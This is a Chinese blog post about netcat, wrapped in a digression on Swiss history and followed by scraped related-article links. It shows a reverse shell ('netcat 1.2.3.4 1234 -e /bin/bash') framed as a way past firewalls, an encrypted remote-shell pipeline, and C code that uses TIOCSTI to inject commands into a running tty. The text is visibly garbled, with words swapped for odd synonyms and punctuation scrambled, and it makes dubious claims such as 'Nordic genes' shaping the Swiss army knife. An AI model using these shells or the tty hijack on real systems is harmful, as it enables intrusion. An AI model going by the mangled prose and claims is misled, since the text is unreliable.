这是一个聒噪的夜晚,假设要给出个原因。可能是由于尽管我认为西班牙不纯粹,可是怎么也不至于干为人家搭台面自己不唱戏的角色吧..结束以后。我认为该玩一下素有网络瑞士军刀之称谓的netcat了。

尽管瑞士军刀和netcat除了在小而精方面之外并没有必定的联系,可是我还是想扯一通我所了解的瑞士,博客嘛。不是论文,不是測试报告,发散一点没有问题,而且,我认为将来。跨界将是一个必定的趋势,拥有跨界的能力也是一个必定的优势。

瑞士是一个没有历史的国家,它全然就是1848年的政治妥协的结果,这也说明了为什么即便是纳粹德国也认可它永久中立国的地位,可是并不意味着生活在这片土地的民族没有历史。自凯撒时代以远。这里就生活着自由的民族。罗马化时代,它处在高卢和平氛围之下自我发展。之后它的历史就是一部融合,分离,抗争与中立的历史了,可是不可否认的是,这片土地以及这片土地上的人们在纷乱的中世纪大领主。国王。神罗皇帝,教皇。主教,自治市...之间的激烈混战中存活了下来,并没有变成废墟。直到如今。这里依然是实际上最富裕的地区之中的一个,看看地图就知道。和比利时,荷兰不同。瑞士处在一个大国的包围圈中。法国。德国。意大利。奥地利四强构成了瑞士的邻国。从它的语言上能够看出来它的历史。德语。法语,意大利语(为什么没有奥地利语呢?由于奥地利大部分人说德语,神罗后遗症),这样的地位正恰恰符合欧洲均势原则。所以瑞士反而能够毫发未损地作为中立国躲过N次浩劫,正是欧洲均势原则,为瑞士这样的国家创造了一个稳定的外部环境,它能够将设计精细化,能够不为外部压力而妥协,瑞士军刀就是在这样的环境下打造的。当然,还有手表。

可是假设再来点别的什么就更够味儿了。
       什么呢?那就是北欧基因。

我要是说是北欧基因促成了Linux,你信吗?但无论怎样。北欧基因确实起了作用。北欧人,一个纯粹的海洋民族的后裔,一个和罗马帝国无关的民族的后裔。挣脱了欧洲传统的羁绊。远离了历史遗留的纷争,他们生活在一个童话和神话的世界。驾驭着深不可測的海洋,自由摇摆着灵活和自由以及规则的原始冲动,这或许是海洋民族的最大特质。

瑞士军刀。一个带有北欧基因的超级小工具,符合其外在自洽内部发散的哲学,怎么形容它的优美都只是分。北欧的基因表现型。加上小而精的追求。正是这样的特质给瑞士军刀营造了和Linux同样的氛围......当然物尽所用并不意味着它是万能的。你不能指望用它来割断起重机的钢丝绳,也不要幻想它能撬起一辆卡车。其实。这些功能的缺失却正是瑞士军刀的优美之处,即它不是大而全,而是小而精,有时候,小而精的哲学确实能取胜。评价一个工具的标准并非它能做什么,而是它能多么简单地做到它声称能够做的事。手里拿着一个瑞士军刀,你能够省去带非常多东西,其实不论什么小工具都能够内置当中。比方温度计。指南针。剪刀,起子,螺丝刀,U盘,电表,牙签。绕线圈...设计的精妙之处在于,怎样把这些东西放在一个有限的空间中,以及怎样不被人们误用这些功能,简单的方式就是每一个小工具仅仅完美实现一个功能。

好吧。这就是瑞士军刀的全部,以下就是netcat了。
       netcat,非常小非常小,而且是真的小,而不是表现的小,它不像Linux内核那样,有人声称它能够被裁减到不到xk。可是你知道这个裁减的人要付出多大的心血吗?假设换一个刚毕业不久辛苦求得一份工作的人来裁减。他可能仅仅是大学期间看过一些代码,那他要加多少班啊。

好东西不在于它能被裁到多小,而是在于它真的不能再小了。netcat能小到什么程度呢?实际上它仅仅提供了一个socket IO通道而已,但别看它自带的这么小的功能集合。甚至都不能称之为集合,它却把扩展的范围提升到了你的想象力所及的范围,对于不善于思考的人来讲。它或许仅仅是一个telnet一样的程序,可是对于善于思考的人来讲。它能够构建一个安全的远程shell。你想过用它来构建一个SSL通道吗?
       在開始我的探索之前,首先简要概览一下能够从网上搜到的netcat的功能,我这里就不再反复了,它的功能点包含但不限于:探測port是否开启,port扫描,远程复制文件。远程复制文件夹,加密传输数据,远程运行shell,反向远程shell...为什么如此小的netcat能完毕这么多的功能呢?
       原因在于,它仅仅提供了最小集,即一个IO通道而已。至于说怎样构建数据,那不是它的职责,netcat并不假设数据的不论什么格式。对数据没有不论什么约束,这一点和telnet不同,尽管telnet也是一个略微通用些的TCP測试程序,可是对于传输数据它有非常多格式规定和假设,毕竟它最開始就是为远程登录设计的,其实上述的功能差点儿都不是netcat完毕的,netcat仅仅是把传输数据到对端而已,仅此而已。这是个创举!

试想,究竟是谁规定一个远程的telnet 23或者ssh必须是TCP的client主动发起连接TCP服务端呢?即究竟凭什么sshd要运行在TCP服务端呢?其实,没有人规定。仅仅是一个远程登录而已。但就是这个实现上的默认行为。导致了非常多远程登录无法进行,由于这些远程登录是从外网到内网的。而非常多防火墙都不同意从外到内的主动訪问。使用netcat能够做到这一点,在内网运行一个netcatclient,在外网运行netcat服务端。然后让/bin/bash覆盖掉netcat就可以,这就是创举所在。我来说下why。

假设你运行一个netcat -e $pro。那么在连接成功后,你以为netcat会像大多数程序一样调用fork/exec来运行pro吗?非常多人都会这么认为,由于这是UNIX传统的标准做法。可是netcat没有这么做,而是直接在当前的netcat进程exec一个pro。这太猛了。当前的netcat就此消失被pro覆盖,那么接下来怎么办?谁来进行主控?其实。netcat就此就把控制权全然交给了pro。在交接之前。把STDIN,STDOUT,STDERR重定向到自己的socket。仅此而已。netcat留下的就是一个socket IO通道。接下来的pro程序的STDIN。STDOUT,STDERR就是socket了。除此之外。netcat没有留下不论什么痕迹,在运行netcat 1.2.3.4 1234 -e /bin/bash的时候,言外之意就好像在运行/bin/bash socketstdin socketstdout...仅仅可惜UNIX哲学不同意/bin/bash这样的程序和socket有不论什么关联。那么仅仅好利用另外一个小程序和它组合从而在网络上模拟本地IO了,netcat在-e參数下除了干这个,没有不论什么毒副作用。假设你不想全然将STDIN,STDOUT。STDERR都重定向,比方你仅仅想重定向STDIN。那么你就能够将|,>,<等符号和netcat组合,比方netcat -l -p 1234 <./transfile。cat transfile2 |netcat 127.0.0.1 2234等,在这样的情况下,netcat本身还在,并没有在-e參数下那样消失。可是它除了做IO之外。什么都不会多做。瑞士军刀般的多样化功能就是这么来的。是的。一切都在于你的想象力,你再也不能说,这个功能或者那个功能netcat没有提供,不能这样说,应该说你自己没有想到它能怎么用。假设让我写netcat的手冊,我就写一句话:它提供且仅仅提供一个TCP或者UDP网络通道。它能实现全部使用TCP或者UDP协议的的网络功能。

我想实现一个远程运行命令的机制,不想编程。也不想用ssh,怎么办呢?使用netcat非常好办,首先它能够实现一个DH密钥交换,然后加密要传输的数据。然后解密,即兴创建一个shell,运行命令后返回结果。加密返回,这些都不在话下。假设你想远程获得一个加密的shell,就须要做一些工作了,要么你实现一个自环管道。即命令序列的最后一个的标准输出定向到第一个命令的标准输入,即netcat 1.2.3.4 1234|decryto|/bin/bash|encryto@,最后的@意味着encryto的标准输出定向到netcat的标准输入,即socket,假设不想这么做。那就你就用以下的代码序列劫持不论什么一个已经处在tty上运行的shell然后运行命令后捕获返回值返回:

int fd = open("/dev/pts/0", O_RDWR);
ioctl(fd, TIOCSTI, "l ");
ioctl(fd, TIOCSTI, "s ");
ioctl(fd, TIOCSTI, "\n ");

可是无论你怎么做,千万不要改动netcat。假设你真的想改动它,那还不如自己写一个满足自己需求的呢,由于netcat没什么好改的,你就把它当成以下的程序就可以:

socket;
listen
accept //注意。没有多处理机制
loop:
read;
write;
loop;

记住,用已有的小工具构建一个大功能是一种艺术,netcat本身不是瑞士军刀。它更像瑞士军刀的刀柄和刀鞘,能够容纳差点儿全部的工具,小即是多。关键在包容,大的包容性,自然约束是最少的。netcat全然符合了UNIX的哲学。
       在网络编程工具上有没有瑞士军刀呢?我认为有,那就是OpenSSL的BIO机制。它抽象了IO过程,和netcat重定向了IO过程相似。假设说netcat在网络环境模拟了本机环境的话。那么BIO则能够在本机模拟网络环境。就OpenVPN而言。数据是直接写到BIO的。而不是直接写到socket的,这个和netcat的过程恰恰相反,在没有网络的环境下,想要调试网络程序。那么BIO就是利器了。
       早上六点多,西班牙已经输了一段时间,我本不是狂热的球迷,就是跟下风而已,据说明天的意大利VS英格兰会非常精彩。

网络工具的瑞士军刀netcat的更多相关文章

  1. NetCat,在网络工具中有“瑞士军刀”美誉

    nc命令详解   NetCat,在网络工具中有“瑞士军刀”美誉,其有Windows和Linux的版本.因为它短小精悍(1.84版本也不过25k,旧版本或缩减版甚至更小).功能实用,被设计为一个简单.可 ...

  2. 【Linux命令】netcat 网络工具的瑞士军刀

    netcat被成为网络工具中的瑞士军刀,之前也没怎么用过,挺惭愧的,那么现在来看看怎么用吧. udp 和 tcp协议都比较好使,至少在测udp的时候,使用telnet感觉很无力呀.(nc 和 netc ...

  3. Linux Netcat 命令——网络工具中的瑞士军刀

    原文:http://www.oschina.net/translate/linux-netcat-command netcat是网络工具中的瑞士军刀,它能通过TCP和UDP在网络中读写数据.通过与其他 ...

  4. Linux 网络工具中的瑞士军刀 - socat & netcat

    独立博客阅读:https://ryan4yin.space/posts/socat-netcat/ 文中的命令均在 macOS Big Sur 和 Opensuse Tumbleweed 上测试通过 ...

  5. Linux常用网络工具:批量主机服务扫描之netcat

    netcat又叫做瑞士军刀,是黑客和系统管理员常用的网络工具,最初开发的目的是文件传输,后来发展出很多强大的功能,比如也可以完成批量主机服务扫描. 之前介绍了另一个更常用的批量主机服务扫描工具:nma ...

  6. Linux 网络工具netcat(nc)的应用

    NETCAT netcat是Linux常用的网络工具之一,它能通过TCP和UDP在网络中读写数据,通过与其他工具结合和重定向,可以在脚本中以多种方式使用它. netcat所做的就是在两台电脑之间建立链 ...

  7. “瑞士军刀”Netcat使用方法总结

    前言 最近在做渗透测试的时候遇到了端口监听和shell的反弹问题,在这个过程中自己对Netcat这一款神器有了新的认识,现将一些Netcat的用法做一个小总结,希望对各位有帮助! Netcat简介 N ...

  8. linux网络工具nc命令

    nc是netcat的简写,有着网络界的瑞士军刀美誉.因为它短小精悍.功能实用,被设计为一个简单.可靠的网络工具. nc命令的作用 (1)实现任意TCP/UDP端口的侦听,nc可以作为server以TC ...

  9. 功能超级强大的网络工具nc

    摘自:http://www.linuxso.com/command/nc.html 功能说明:功能强大的网络工具语 法:nc [-hlnruz][-g<网关...>][-G<指向器数 ...

随机推荐

  1. Window下安装使用RabbitMQ

    RabbitMQ官网 http://www.rabbitmq.com 下载地址 http://www.rabbitmq.com/download.html 一 Windows下安装RabbitMq 1 ...

  2. 【HDOJ5532】Almost Sorted Array(签到)

    题意:给定一个n个数的数列,问删掉一个数之后剩余部分是否可以单调不增或单调不减 n<=1e5,a[i]<=1e5 思路:预处理一下前后缀是否合法 #include<cstdio> ...

  3. Func<T1, T2, TResult> Delegate 系统Func委托类型

    原文发布时间为:2011-03-25 -- 来源于本人的百度文章 [由搬家工具导入] http://msdn.microsoft.com/en-us/library/bb534647%28v=VS.1 ...

  4. 【全局变量】mysql查看全局变量以及设置全局变量的值

    1.查看mysql的所有全局变量的值 SHOW GLOBAL VARIABLES 或者 SHOW VARIABLES mysql有很多全局变量,包括系统的一些基本信息,以及mysql的一些基本配置都可 ...

  5. java基础(1-50)-------->超级简单,不信你不会!!!

    1:java中的保留字:const&goto; 2:&和&&都可以做逻辑运算符,即运算符两边的表达式都为true,结果才为true,一方为false,则结果为false ...

  6. c# 序列化对象为xml 方法

    public static string XmlUtils(object obj, bool omitXmlDeclaration = true, bool indent = false, bool ...

  7. Codeforces 916E Jamie and Tree (换根讨论)

    题目链接  Jamie and Tree 题意  给定一棵树,现在有下列操作: $1$.把当前的根换成$v$:$2$.找到最小的同时包含$u$和$v$的子树,然后把这棵子树里面的所有点的值加$x$: ...

  8. usaco-Money Systems

    题意: 给出几种硬币,求可用这几种硬币组合出价值为n的方案数.分析: 设dp[i]表示组合出价值i的方案数,则,dp[i]=∑dp[i-val[j]]. #include <iostream&g ...

  9. python 设计模式之门面模式

    facade:建筑物的表面 门面模式是一个软件工程设计模式,主要用于面向对象编程. 一个门面可以看作是为大段代码提供简单接口的对象,就像类库.   门面模式被归入建筑设计模式.门面模式隐藏系统内部的细 ...

  10. Oracle Forms Project For Students Free Download

    After getting to much requests for a free Oracle Forms and Reports project for students, I am sharin ...